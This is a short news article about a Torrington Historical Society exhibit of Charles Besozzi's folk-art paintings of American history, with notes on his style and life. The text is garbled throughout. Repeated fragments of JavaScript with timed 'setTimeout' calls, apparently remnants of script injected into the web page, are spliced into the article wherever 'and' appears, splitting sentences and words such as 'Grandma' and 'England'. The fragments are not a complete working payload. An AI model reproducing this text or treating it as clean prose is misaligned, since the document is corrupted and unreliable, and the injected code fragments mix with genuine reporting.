TORRINGTON, CONN. — The Torrington Historical Society recently opened a new exhibit showcasing selected paintings by Charles Besozzi, a former resident of Torrington. “Visions Of America’s History: The Folk Art of Charles Besozzi” features more than 20 oil paintings by Besozzi (1904–1997), a self-taught artist who began paintings when he was in his 50s. The exhibition remains on view through October 31.

In the 1970s, inspired by the American Bicentennial, Charles Besozzi began painting American historical scenes. Among the subject matter that he depicted in his folk art paintings were events relating to the Revolutionary War, the life of Abraham Lincoln, slavery in America andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Salem Witch Trials. The artist’s interpretation of these key events from the nation’s history is the subject of this show.

Like many self-taught artists, Besozzi utilized a style lacking the perspective andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and form that is seen in the work of academically trained artists. However, the artist’s gift for storytelling andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his interpretation of historic events using his unique style make these paintings a delight to see. Like Grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andma Moses, Besozzi often relished in depicting events from days gone by andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in particular, scenes from everyday life. His paintings, such as “Town Meeting in Old New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Country Fair,” are examples of such work.

Besozzi grew up in Torrington, graduating from the Torrington High School in 1923 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was a resident of Torrington until the mid-1940s. During Word War II he worked at Warren McArthur Corp in Bantam, Conn., where he met his future wife, Mabel Locke, of Cornwall, Conn. The couple was married in the 1940s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and immediately moved to Cornwall, where they remained for the rest of their lives andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and where they raised their three children.

The exhibit is on view in the Carriage House Gallery at the Torrington Historical Society, 192 Main Street. For information, www.torringtonhistoricalsociety.org.